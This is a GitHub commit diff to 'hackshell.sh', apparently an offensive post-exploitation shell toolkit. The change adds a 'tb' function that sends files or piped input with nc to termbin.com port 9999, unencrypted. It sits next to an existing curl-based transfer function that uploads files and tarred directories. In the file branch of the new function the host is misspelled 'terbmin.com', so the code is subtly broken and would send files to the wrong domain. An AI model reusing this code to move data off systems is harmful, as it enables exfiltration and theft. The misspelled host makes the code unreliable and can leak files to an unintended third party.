Skip to content

Commit 258a1d4

Browse files
committed
termbin.com
1 parent af82300 commit 258a1d4

File tree

1 file changed

+13
-2
lines changed

1 file changed

+13
-2
lines changed

hackshell.sh

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -370,7 +370,18 @@ transfer() {
370370
[[ ! -t 0 ]] && { curl "${opts[@]}" "-" "https://${HS_TRANSFER_PROVIDER}/${1}"; return; }
371371
[[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; }
372372
[[ -d "$1" ]] && { (cd "${1}/.." && tar cfz - "${1##*/}")|curl "${opts[@]}" "-" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}.tar.gz}"; return; }
373-
curl "${opts[@]}" "$1" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}}"
373+
curl "${opts[@]}" "$1" "https://${HS_TRANSFER_PROVIDER}/${2:-${1##*/}}" || echo -e >&2 "Try ${CDC}tb <file>${CN} instead [WARNING: not encrypted]."
374+
}
375+
376+
tb() {
377+
_hs_dep nc || return
378+
379+
[ $# -eq 0 ] && {
380+
[ -t 0 ] && { echo -e >&2 "Usage:\n tb <file>"; return 255; }
381+
nc termbin.com 9999
382+
return
383+
}
384+
nc terbmin.com 9999 <"$1"
374385
}
375386

376387
# SHRED without shred command
@@ -562,7 +573,7 @@ _hs_enc_init() {
562573
[ -n "$HS_TOKEN" ] && return
563574
[ -n "$GS_TOKEN" ] && { HS_TOKEN="$GS_TOKEN"; return; }
564575
command -v openssl >/dev/null || return
565-
command -v hostnamectl >/dev/null && HS_TOKEN="$(hostnamectl | grep -Fm1 'Machine ID' | openssl sha256 -binary | openssl base64)"
576+
[ -f "/etc/machine-id" ] && HS_TOKEN="$(openssl sha256 -binary <"/etc/machine-id" | openssl base64)"
566577
[ -z "$HS_TOKEN" ] && HS_TOKEN="$(openssl rand -base64 24)"
567578
HS_TOKEN="${HS_TOKEN//[^a-zA-Z0-9]/}"
568579
HS_TOKEN="${HS_TOKEN:0:16}"

0 commit comments

Comments
 (0)